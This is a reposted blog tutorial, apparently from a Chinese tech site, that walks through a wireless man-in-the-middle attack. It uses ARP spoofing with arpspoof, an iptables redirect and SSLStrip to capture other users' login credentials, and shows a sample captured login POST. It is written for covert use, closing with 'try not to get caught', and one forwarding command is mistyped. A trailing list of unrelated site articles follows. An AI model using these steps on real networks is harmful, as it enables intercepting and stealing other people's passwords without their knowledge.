Wireless MiTM Attacks

简介:

 Collecting Log In Info Through MITM { Man In The Middle } Attack


Ok so I've been reading online and there is quite a lot of tutorials on MiTM attacks but they mostly consist of overall general idea of it. Well today we'll be focusing on a certain type of MiTM attack using some specific tools. Yes, the same result can be achieved by using an automated tool such as ettercap ( I think ) for sniffing out log in credentials. 

So lets begin with the tools that you will need to accomplish this attack.

  • Any Linux Distro
  • Netstat
  • IPTables
  • Arpspoof
  • SSLStrip



** You can easily find these tools through apt-get or yum, if not then you always have Google on your side **

Overview

So, this type of attack will be focused on ARP { Address Resolution Protocol } Spoofing. You ask what IS ARP Spoofing? Good question. 
ARP Spoofing is also known as

  • ARP Flooding
  • ARP Poisoning
  • ARP Poison Routing



ARP Spoofing is technique used to attack an Ethernet wired/wireless network. It may allow the attacker to sniff data frames, in this case the log in information, on a local area network. The attacker can also modify or redirect traffic, or even stop the traffic. 

Generally, the aim is to associate the attacker's MAC address with the IP address of another node , such as the default gateway. Any traffic meant for that IP address would be mistakenly sent to the attacker instead. The attacker could then choose to forward the traffic to the actual default gateway (passive sniffing) and everything is untouched or modify the data before forwarding it (MiTM attack).


The Attack

[+] To be able to do ARP poisoning, first the attacker, in which case is you, would need to run some commands in terminal:

echo '1' > /proc/sys/net/ipv/ip_forward

This will your computer to forward any packets that weren't intended for your machine.



[+] Find which of the systems is the router on your network

netstat -nr

The out of that command will show you which IP is your gateway, in most cases it should be 192.168.1.1, unless configured differently.



[+] Use ARPSpoof to put yourself between the router and all other systems on the network, hens Man-In-The-Middle  .

arpspoof -i wlan0 192.168.1.1

You are gonna need to change wlan0 to your wireless interface. You can easily figure which are you using by typing iwconfig into the terminal.



Under heavy loads, using arpspoof on an entire network can cause the network to crash, making the internet unavailable to all users. This makes it pretty obvious that something is up, and sysadmins will be doing what they can to fix the problem. Should this ever occur, stop the arpspoof process using 'ctrl-c' and wait a moment. The network should start working again, once the router informs everyone of its MAC. Then you can start your attack again

So what now, that we are connected and everything running smooth? Well here comes the sniffing part...

Sniffing Out Login Info With SSL Strip

What exactly is SSL Strip?

SSL Strip is a tool written by Moxie Marlinspike and released at Black Hat DC 2009. It reroutes encrypted HTTPS requests from network users to plaintext HTTP requests, effectively sniffing all credentials passed along the network via SSL. The way it does this is it lets users connect via HTTP, logs their information, then redirects their connection to the originally-intended HTTPS server on the internet.

So How Exactly Do we Accomplish This?

[+] First we need to set up a firewall rule via iptables to redirect requests from port 80 to port 8080, this will ensure that our outgoing connections (from SSL Strip) get routed to the proper port.

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080


[ + ] Now we need to execute the MITM commands earlier in the Tut.
echo '1' > /proc/sys/net/ipv4/ip_forward
arpspoof
-i wlan0 192.168.1.1


[ + ] When arpspoof starts, open a new terminal and start SSL Strip.
sslstrip -k -l 8080

The "-k" designator tells the system to kill all currently active sessions, forcing users to re-login to their websites.



Now that we've started our MITM attack and got SSL Strip actively intercepting packets, all we have to do is sit and wait. SSL Strip will run as long as you want it to, and it will log all captured information in a file called sslstrip.log. If you want to watch this file as it grows, you can use the 'tail' command. This is a fun tool that helps you watch logfiles as they're modified in real-time.

tail -f sslstrip.log

The "-f" modifier tells tail to follow the file until you tell it to stop.




Once you're done with your attack, use the ctrl-c key to kill the 'tail,' 'sslstrip,' and 'arpspoof' processes. The sslstrip.log file will remain, and the system will stop being the MITM.

After shutting down all processes and disconnecting from the network, you can safely analyze the logfile. It might look like a bunch of garbage something like so:

2010-06-27 20:38:24,482 SECURE POST Data (login.facebook.com):
charset_test
=%E2%82%AC%2C%C2%B4%2C%E2%82%AC%2C%C2%B4%2C%E6%B0%B4%2C%D0%94%2C%D0%84&locale=en_US&email=user%40email.com&pass=password&charset_test=%E2%82%AC%2C%C2%B4%2C%E2%82%AC%2C%C2%B4%2C%E6%B0%B4%2C%D0%94%2C%D0%84&lsd=H2cF2


BUT! If you look through all that garbage you will notice that the email (username log in) and password are in plain text!!!!
I know if the file is REALLY big you would hate to search through all that just for a line or two. One way you can make it easier for you just search for keywords like username or password, or something as such.

And that would be the end of the tutorial! Have fun, and try not to get caught  

Thanks to z3ros3c for the help 














本文转hackfreer51CTO博客,原文链接:http://blog.51cto.com/pnig0s1992/519559,如需转载请自行联系原作者

相关文章
|
23天前
|
缓存 自然语言处理 数据可视化
知识图谱与RAG融合实战:用LightRAG极速构建智能问答系统
本文介绍了LightRAG——一种融合知识图谱与RAG技术的轻量级框架,通过三重检索机制(向量、关键词与图检索)提升问答系统的准确性与全面性,并提供快速构建、可视化、性能优化及多领域应用方案。
|
3月前
|
JSON API 数据格式
滴滴抢单脚本,滴滴抢单辅助神器,autojs版加速器
通过API与顺风车平台交互,包含登录验证、订单查询和抢单功能
|
4月前
|
存储 消息中间件 弹性计算
阿里云服务器ECS计算型c7和通用算力型u1在适用场景、计算性能、网络与存储性能等方面的对比
阿里云ECS服务器u1和c7实例在适用场景、性能、处理器特性等方面存在显著差异。u1为通用算力型,性价比高,适合中小企业及对性能要求不高的场景;c7为企业级计算型,采用最新Intel处理器,性能稳定且强大,适用于高性能计算需求。u1支持多种CPU内存配比,但性能一致性可能受底层平台影响;c7固定调度模式,确保高性能与稳定性。选择时可根据预算与性能需求决定。
260 23
|
4月前
|
弹性计算 负载均衡 网络协议
阿里云共享流量包是什么?共享流量包如何使用?
阿里云共享流量包是一种通用流量套餐,可自动抵扣ECS、EIP、CLB、共享带宽及IPv6网关等产品产生的公网流量费用。购买后无需额外设置,立即生效并自动抵扣对应地域的流量费用。适用于多地域流量管理,支持IPv4与IPv6流量,但需注意区域匹配,如亚太、欧美等不同区域的流量包仅能抵扣对应地域的流量。用户可通过阿里云【费用与成本】页面查询流量包使用情况。更多详情见官方说明。
|
JavaScript API 容器
Vue3加载条(LoadingBar)
这是一个基于 Vue 的加载条组件,提供了丰富的自定义选项和方法。通过简单的 API,可以控制加载条的开始、结束及错误状态。支持设置容器类名、样式、颜色等属性,并可通过 `start`、`finish` 和 `error` 方法来触发不同状态。
267 1
Vue3加载条(LoadingBar)
|
7月前
|
机器学习/深度学习 人工智能 前端开发
FacePoke:开源AI实时面部编辑神器!拖拽调整表情/头部朝向,4K画质一键生成
FacePoke是一款基于AI技术的开源实时面部编辑工具,支持通过拖拽操作调整头部朝向和面部表情,适用于多种场景。
420 0
|
10月前
「Mac畅玩鸿蒙与硬件15」鸿蒙UI组件篇5 - Slider和Progress组件
Slider 和 Progress 是鸿蒙系统中的常用 UI 组件。Slider 控制数值输入,如音量调节;Progress 显示任务的完成状态,如下载进度。本文通过代码示例展示如何使用这些组件,并涵盖 进度条类型介绍、节流优化、状态同步 和 定时器动态更新。
272 7
「Mac畅玩鸿蒙与硬件15」鸿蒙UI组件篇5 - Slider和Progress组件
|
9月前
|
存储 供应链 数据库
Hologres 索引:概念与实用场景
本文介绍了 Hologres 索引的概念、类型及在实际场景中的应用。Hologres 是阿里云的一款强大数据库产品,其索引功能显著提升了数据查询性能。文章详细探讨了 B 树索引、哈希索引和位图索引的特点及应用场景,并介绍了索引的创建和维护方法。此外,还列举了 Hologres 中的重要参数设置及其使用限制,最后通过电商、金融、物流和社交媒体等领域的具体案例,展示了索引在不同场景下的实用价值。
301 10
|
10月前
|
机器学习/深度学习 数据采集 算法
监督学习工作流程:从数据准备到模型部署
本文详细介绍了监督学习的工作流程,涵盖数据准备、模型选择、训练、评估与优化、部署等关键步骤,并结合具体代码示例,帮助读者全面掌握监督学习在实际项目中的应用方法。从数据收集、清洗到特征工程,再到模型训练与评估,最后部署模型,每个环节都提供了详细的指导和实践建议。适合初学者和有一定基础的读者深入学习。
442 2

热门文章

最新文章